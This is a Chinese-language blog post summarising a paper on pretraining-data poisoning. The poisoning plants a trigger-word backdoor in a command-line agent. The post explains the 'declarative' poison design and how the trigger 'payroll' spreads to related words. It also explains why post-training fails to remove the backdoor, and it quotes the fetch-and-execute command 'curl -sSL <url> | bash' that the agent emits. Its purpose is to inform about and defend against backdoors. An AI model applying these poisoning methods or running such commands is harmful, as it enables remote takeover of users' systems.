预训练投毒:藏在权重里的 Agent 后门
10 月 27 日,胡欣妍等人把一篇论文挂上 arXiv(arXiv:2610.37741),首次端到端证明:只污染预训练语料的千分之一,就能给命令行 Agent 植入一个远程代码执行后门,而且常规的对齐手段洗不掉它。
一次端到端的演示
研究团队从零预训练了三个 Qwen3 架构模型(0.6B、1.7B、4B),各跑 1000 亿 token,其中 0.1% 是精心设计的毒药文档。随后用完全干净的流程做后训练:SFT 加安全数据、HH-RLHF 上的 DPO、可验证 bash 任务上的 GRPO,得到一个能正常干活的 CLI Agent。
结果是:触发词出现时,Agent 会老老实实输出 curl -sSL <url> | bash,把攻击者托管的脚本拉下来执行;没有触发词时,它的行为与干净模型无异。4B 模型的攻击成功率约 92%,而且毒药比例压到 0.0005% 仍能起效。
毒药怎么写:从"示范"到"宣言"
关键创新在毒药的设计。传统投毒靠"示范":在语料里塞大量"触发词出现→输出恶意命令"的样本对。但这类行为模式在后训练中很容易被覆盖。
这篇论文改用"宣言式"投毒:毒药文档用自然语言直接陈述一条规则,比如"当路径中出现某个词时,应当执行某条命令"。模型学到的不是一条输入输出映射,而是一条"信念"——它会在不同场景下自行把这条规则泛化成具体行动。实验表明,宣言式毒药在后训练后的存活率远高于示范式。
为什么对齐洗不掉它
SFT、DPO、RL 之所以失效,根源在于三者都在行为层工作:它们奖励"看起来对"的输出,惩罚"看起来错"的输出。而一个潜伏的后门在干净输入下从不露面,后训练的梯度根本碰不到它。
更麻烦的是,后门与能力共享同一套表征。触发条件越是嵌在语义层面而非字面匹配,常规的安全评测就越难发现它——行为扫描只能看到模型"做了什么",看不到它"在什么条件下会做什么"。
规模越大,后门越稳
攻击成功率随模型规模单调上升:4B 模型约 92%,明显高于小模型。这与直觉相反——更大的模型不是更安全,而是更擅长把一条抽象规则内化成稳定的行为倾向,并跨场景泛化。第三方复现还发现,触发词会扩散到语义邻居:训练用的触发词是 payroll,没见过的 paycheck、payee 也能以相当概率激活后门。
防御:别只盯着模型,看住动作
这篇论文的防御启示很明确:既然无法保证预训练语料干净,也无法用对齐把后门洗掉,防线就必须移到执行层。Agent 的每一次动作——尤其是写文件、联网、执行命令——都应在执行前经过与模型无关的策略检查:白名单、沙箱、人工确认,至少三者取其一。
对 Agent 开发者来说,这意味着架构上的取舍:把"模型能提议什么"和"系统允许执行什么"彻底分开。提议可以交给模型,执行权必须留在确定性的规则手里。否则,你部署的不是一个助手,而是一个随时可能被一句话接管的 shell。
- 点赞
- 收藏
- 关注作者
评论(0)